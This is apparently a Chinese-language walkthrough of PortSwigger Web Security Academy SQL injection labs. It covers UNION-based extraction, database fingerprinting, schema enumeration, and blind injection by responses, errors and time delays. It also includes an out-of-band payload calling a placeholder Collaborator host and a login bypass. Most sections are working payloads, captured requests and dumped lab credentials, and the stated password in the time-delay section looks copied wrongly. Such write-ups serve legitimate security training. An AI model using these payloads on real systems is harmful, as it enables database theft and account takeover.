SQL injection UNION attack
SQL injection UNION attack, determining the number of columns returned by the query
GET /filter?category=Gifts HTTP/1.1
Host: ac691f351f548a1780ec009d00da0072.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac691f351f548a1780ec009d00da0072.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=CrXENk7PvFRUcVh0IpJ221mF8Pm780Ej
分析可得在category=Gifts处存在注入点,使用UNION联合查询
将包发送到repeat模块
修改category='+UNION+SELECT+NULL--
,send,响应
HTTP/1.1 500 Internal Server Error
Connection: close
Content-Length: 21
Internal Server Error
由此推断column数目不为一
则修改'+UNION+SELECT+NULL,NULL--
,同样返回500状态码
继续添加空值列,修改为category='+UNION+SELECT+NULL,NULL,NULL--
发现response页面返回正常
因此该数据库column数目为3.
SQL injection UNION attack, finding a column containing text
首先确认返回的列数
'+UNION+SELECT+NULL,NULL,NULL--
然后接下来就是对每个NULL值分别试探以确定哪些列与字符串数据兼容
修改'+UNION+SELECT+'abcdef',NULL,NULL--
,返回状态码500
HTTP/1.1 500 Internal Server Error
Connection: close
Content-Length: 21
Internal Server Error
修改'+UNION+SELECT+NULL,'abcdef',NULL--
,返回正常页面
修改'+UNION+SELECT+NULL,NULL,'abcdef'--
,返回状态码500
由此可以得出该数据库三列中第二列与字符串数据兼容。
SQL injection UNION attack, retrieving data from other tables
首先确定查询正在返回的列数以及哪些列包含文本数据。
例如category参数中的,验证查询是否返回两列都包含文本的列'+UNION+SELECT+'abc','def'--
。
返回正常页面响应,则表明列数为2且都为包含文本的列
已知该数据库包含另一个名为users的表,其列名为username和password。
则可以实现跨表查询
修改category参数为'+UNION+SELECT+username,+password+FROM+users--
,返回
<section class="ecoms-pageheader">
<h1>' UNION SELECT username, password FROM users--</h1>
</section>
<section class="search-filters">
<label>Refine your search:</label>
<a href="/">All</a>
<a href="/filter?category=Accessories">Accessories</a>
<a href="/filter?category=Clothing%2c+shoes+and+accessories">Clothing, shoes and accessories</a>
<a href="/filter?category=Gifts">Gifts</a>
<a href="/filter?category=Pets">Pets</a>
<a href="/filter?category=Tech+gifts">Tech gifts</a>
</section>
<table class="is-table-longdescription">
<tbody>
<tr>
<th>wiener</th>
<td>389u8a8hxr1rcwdbz29j</td>
</tr>
<tr>
<th>administrator</th>
<td>kcbroqow89lu3842bwdm</td>
</tr>
<tr>
<th>carlos</th>
<td>5h526m72ehuvxjoemvpb</td>
</tr>
</tbody>
wiener | 389u8a8hxr1rcwdbz29j |
---|---|
administrator | kcbroqow89lu3842bwdm |
carlos | 5h526m72ehuvxjoemvpb |
利用administraor登录,成功登录后台。
SQL injection UNION attack, retrieving multiple values in a single column
同样是先使用union查询确认数据库返回两列,
category='+UNION+SELECT+NULL,'qqq'--
返回正常响应,则只有第二列包含文本
已知该数据库包含另一个名为users的表,其列名为username和password。
构造payload:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
注:|| 将多个字符串连接在一起以组成一个字符串
成功返回用户名和密码
<table class="is-table-list">
<tbody>
<tr>
<th>administrator~np91ddn9gdeh9t61qf0k</th>
</tr>
<tr>
<th>wiener~i0tobfpd0qgpnh0kncb5</th>
</tr>
<tr>
<th>carlos~3zo93g8zh838lebd9ipj</th>
</tr>
</tbody>
</table>
利用administrator~np91ddn9gdeh9t61qf0k,username~password
成功登录
SQL injection attack, querying the database type and version on Oracle
注:在Oracle数据库上,每个SELECT语句都必须指定要选择的表FROM。如果您的UNION SELECT攻击没有从表中查询,您仍然需要在FROM关键字后面加上有效的表名。
Oracle上有一个内置的表,称为DUAL,可用于此目的。例如:UNION SELECT ‘abc’ FROM DUAL
构造payload:'+UNION+SELECT+'abc','def'+FROM+DUAL--
修改category,返回响应正常
</section>
<section class="ecoms-pageheader">
<h1>' UNION SELECT 'abc','def' FROM DUAL--</h1>
</section>
<section class="search-filters">
<label>Refine your search:</label>
<a href="/">All</a>
<a href="/filter?category=Accessories">Accessories</a>
<a href="/filter?category=Clothing%2c+shoes+and+accessories">Clothing, shoes and accessories</a>
因而根据返回判定返回两列,且这两列都包含文本
因此构造 '+UNION+SELECT+BANNER,+NULL+FROM+v$version--
,返回
CORE 11.2.0.2.0 Production |
---|
NLSRTL Version 11.2.0.2.0 - Production |
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production |
PL/SQL Release 11.2.0.2.0 - Production |
TNS for Linux: Version 11.2.0.2.0 - Production |
SQL injection attack, querying the database type and version on MySQL and Microsoft
构造payload:category=Lifestyle+'+UNION+SELECT+'abc','def'#
判定为两列且都包含文本
则构造payload:category=Lifestyle+'+UNION+SELECT+NULL,@@version#
得到版本
8.0.23 |
SQL injection attack, listing the database contents on non-Oracle databases
该应用程序具有登录功能,并且数据库包含一个包含用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获得所有用户的用户名和密码。
同样首先是确定返回的列数量和包含文本的列
构造payload:'+UNION+SELECT+'abc','def'--
,返回正常响应
构造攻击payload:'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
重放,则(注:只列出部分表)
pg_user_mapping |
---|
pg_publication |
pg_stat_xact_sys_tables |
foreign_data_wrappers |
routine_privileges |
pg_views |
pg_foreign_table |
pg_statio_sys_indexes |
pg_database |
_pg_foreign_data_wrappers |
user_mappings |
pg_class |
pg_foreign_server |
pg_type |
view_column_usage |
pg_replication_origin_status |
applicable_roles |
pg_group |
views |
domain_constraints |
pg_shadow |
pg_stat_user_tables |
view_table_usage |
pg_transform |
pg_stat_sys_indexes |
role_routine_grants |
role_column_grants |
user_mapping_options |
pg_aggregate |
pg_stat_database_conflicts |
pg_hba_file_rules |
pg_stat_database |
sql_sizing |
triggers |
triggered_update_columns |
pg_tables |
usage_privileges |
foreign_table_options |
pg_authid |
pg_index |
pg_prepared_xacts |
pg_description |
pg_auth_members |
pg_cursors |
pg_statistic_ext |
pg_statio_all_sequences |
pg_stat_replication |
pg_settings |
role_table_grants |
pg_statio_all_indexes |
pg_depend |
pg_subscription |
pg_subscription_rel |
columns |
pg_stat_xact_user_tables |
sequences |
pg_stats |
pg_seclabels |
pg_attribute |
check_constraints |
pg_rules |
users_aiaxdw |
pg_timezone_abbrevs |
pg_default_acl |
pg_stat_sys_tables |
pg_shseclabel |
pg_stat_bgwriter |
pg_opclass |
pg_sequence |
foreign_server_options |
constraint_column_usage |
pg_operator |
pg_extension |
view_routine_usage |
pg_indexes |
pg_replication_slots |
sql_parts |
查找包含用户凭据的表:users_aiaxdw
然后构造payload:'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_aiaxdw'--
查找到包含用户名和密码的列的名称
password_qzxivj |
---|
username_sivltj |
构造payload检索username和password:'+UNION+SELECT+username_sivltj,+password_qzxivj+FROM+users_aiaxdw--
返回如下:
wiener | qz4hc0e97qqal46i8stp |
---|---|
carlos | jzwjww78ulk4fndzafwh |
administrator | andnlncdtbu2ca2yl4le |
最后成功登录到管理员后台
SQL injection attack, listing the database contents on Oracle
该应用程序具有登录功能,并且数据库包含一个包含用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获得所有用户的用户名和密码。
构造payload:'+UNION+SELECT+'abc','def'+FROM+DUAL--
正常返回响应,则表明返回列数为2且都包含文本
则构造payload:category='+UNION+SELECT+table_name,NULL+FROM+all_tables--
成功得到数据库的所有表名,查找包含用户凭据的表的名称(只列出部分,太多了~~)
<tr>
<th>USER$</th>
</tr>
<tr>
<th>USERS_WWNDAO</th>
</tr>
<tr>
<th>USER_ASTATUS_MAP</th>
</tr>
<tr>
<th>USER_HISTORY$</th>
</tr>
猜测得知具有用户凭据的表为USERS_WWNDAO
查找包含用户名和密码的列的名称
则构造payload:'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_WWNDAO'--
得到列名:
PASSWORD_AHEEEZ |
---|
USERNAME_WNKKQZ |
则构造payload查找具体数据:'+UNION+SELECT+USERNAME_WNKKQZ,+PASSWORD_AHEEEZ+FROM+USERS_WWNDAO--
administrator | bbp5iy7d3bul1rmmsdk1 |
---|---|
carlos | d91dis6vi4opsmsm16bt |
wiener | af3ju06mn9kzf0jcseyc |
利用Administrator成功登录管理员后台
Blind SQL injection
Blind SQL injection with conditional responses
已知包含一个盲目的SQL注入漏洞。该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。
不返回SQL查询的结果,并且不显示任何错误消息。但是,如果查询返回任何行,应用程序将在页面中包含“Welcome back”消息。
抓包
GET / HTTP/1.1
Host: ac3e1f091ff31d6480cf2ccc00de00d7.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: TrackingId=ES6RqmYQlAy4E2Zp; session=GpkPKr5ktE5gUYaTEZshUkApXidUpAIS
发现cookie处可能存在注入点
构造payload:ES6RqmYQlAy4E2Zp' AND '1'='1
,发现response成功回显
<section class="top-links">
<a href=/>Home</a><p>|</p>
<div>Welcome back!</div><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
将payload修改为:ES6RqmYQlAy4E2Zp' AND '1'='2
时,
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
则证明存在注入点.
构造payload:ES6RqmYQlAy4E2Zp' AND (SELECT 'a' FROM users LIMIT 1)='a
,成功回显Welcome back!
。证明确认存在名为的表users,且该表中有包含“a”的记录
注:limit [offset,] rows
一般是用于select语句中用以从结果集中拿出特定的一部分数据。
offset是偏移量,表示我们现在需要的数据是跳过多少行数据之后的,可以忽略;rows表示我们现在要拿多少行数据。
继续进一步构造payload:ES6RqmYQlAy4E2Zp' AND (SELECT 'a' FROM users WHERE username='administrator')='a
,同样成功回显Welcome back!
则证明确认有一个名为的用户administrator。
下一步确定administrator用户密码中有多少个字符。构造payload:ES6RqmYQlAy4E2Zp' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
。成功回显Welcome back!
,密码长度显然是大于1的。因此接下来只需一次次修改password>1,2,3…等等,直到不回显Welcome back!
为止。
但一次次试不符合程序员的风格。将包发送到intruder模块,循环发送数据包,得到
显然看出,当密码长度达到20时响应包长度发生变化,由此得出密码长度为20.
得到密码长度后,接下来就是猜测密码内容。
构造payload:ES6RqmYQlAy4E2Zp' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
,猜测密码的第一个字符
同样使用intruder模块爆破
由此看到,密码第一个字符为s,可以依次修改(password,1(2,3,4…20),1),也可以构造一个“炸弹型”的爆破方式。
最后得到密码:sr114e64ujr8kemfirs3
最后成功登录
Blind SQL injection with conditional errors
抓包
GET / HTTP/1.1
Host: ac341f5e1e4b73b880c6010200050013.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: TrackingId=ysnBKCwqQMYpzhIi; session=pdOjnPVZjqmlE0T0smRwrknXLkiwkbPm
构造payload:TrackingId=ysnBKCwqQMYpzhIi'
时,发送返回报错信息
当payload:TrackingId=ysnBKCwqQMYpzhIi''
时,返回正常页面。
这表明语法错误(在这种情况下为未封闭的引号)正在对响应产生可检测的影响。
首先构造一个正常的子查询语句:ysnBKCwqQMYpzhIi''||(SELECT '')||'
,发现页面返回报错信息,可能是数据库差异的原因,重新构造:ysnBKCwqQMYpzhIi'||(SELECT '' FROM dual)||'
,发现返回正常页面。
因此可以判定该数据库为Oracle数据库。该数据库的SELECT后都要显式的指定表名。
接下来构造不正常的查询语句,例如尝试查询不存在的表名:ysnBKCwqQMYpzhIi'||(SELECT '' FROM afwefwafw)||'
,返回错误。这表明我的注入行为正在被后端作为SQL查询处理。
因此我们可以得出结论:只要确保语法上有效的SQL查询,就可以使用此错误响应来推断有关数据库的关键信息。例如:ysnBKCwqQMYpzhIi'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
,返回正常页面,由此可以推断users表存在。
注:WHERE ROWNUM = 1条件对于防止查询返回多于一行的行很重要,因为这会破坏我们的串联
还可以用来测试条件。首先,提交以下查询:fuIkM2UFM3hAhjQ3'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
,返回错误信息。
将其更改为:fuIkM2UFM3hAhjQ3'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
,返回正常页面
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 11131
这表明我们可以根据特定条件的真实情况有条件地触发错误。该CASE语句测试条件,如果条件为true,则求值一个表达式,如果条件为false,则求值另一个表达式。前一个表达式包含被零除的值,这会导致错误。在这种情况下,这两个有效负载会测试条件1=1和1=2,并且条件为true时会接收到错误。
我们可以使用此行为来测试表中是否存在特定的条目。例如:使用以下查询检查用户名是否administrator存在
fuIkM2UFM3hAhjQ3'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
验证条件是否正确(即返回错误信息),确认存在一个名为的用户administrator。
HTTP/1.1 500 Internal Server Error
Connection: close
Content-Length: 21
Internal Server Error
接下来是确定密码长度
构造payload:fuIkM2UFM3hAhjQ3'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
,返回错误,即条件为真,密码长度大于1,进过Intruder模块,最终得到密码长度为20
确认好密码长度后,接下来就是猜测密码内容
构造payload:fuIkM2UFM3hAhjQ3'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
,依次测试每个位置。
筛选statu为500错误信息的条目
由此得到密码为:f18fqgfgm4ia6k1ko73x
Blind SQL injection with time delays and information retrieval
包含一个盲目的SQL注入漏洞。该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。
不返回SQL查询的结果,并且应用程序不会根据查询返回任何行还是导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此有可能触发条件时间延迟以推断信息。
修改cookie ID:rMQv3wxPYFYZorIx'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
,等待十秒返回
修改cookie ID:rMQv3wxPYFYZorIx'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
,无需等待返回。
由此可以推断出存在时间注入漏洞。
构造payload:rMQv3wxPYFYZorIx'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
,发现等待10秒返回页面,则确认有一个名为的用户administrator。
下一步是确定administrator用户密码中有多少个字符。
构造payload:rMQv3wxPYFYZorIx'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
,发现需等待十秒延迟,则证明密码长度大于1,这是显然的。
则接下来只需修改LENGTH(password)>1(2,3,4,…),发现无需等待返回的即为密码长度。得到长度为20.
确定密码长度后,下一步是在每个位置测试字符以确定其值。发送到intruder模块,构造payload:rMQv3wxPYFYZorIx'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
运行,将延迟10000毫秒左右的筛选出来。
最后得到密码:rMQv3wxPYFYZorIx
。
Blind SQL injection with out-of-band interaction
dLZ2RlRTXR7T632G'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
Blind SQL injection with out-of-band data exfiltration
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
WHERE子句中的SQL注入漏洞允许检索隐藏数据
构造payload:'+OR+1=1--
,相当于category=Lifestyle'+OR+1=1--
即可查看全部数据。
SQL injection vulnerability allowing login bypass
username使用:administrator'--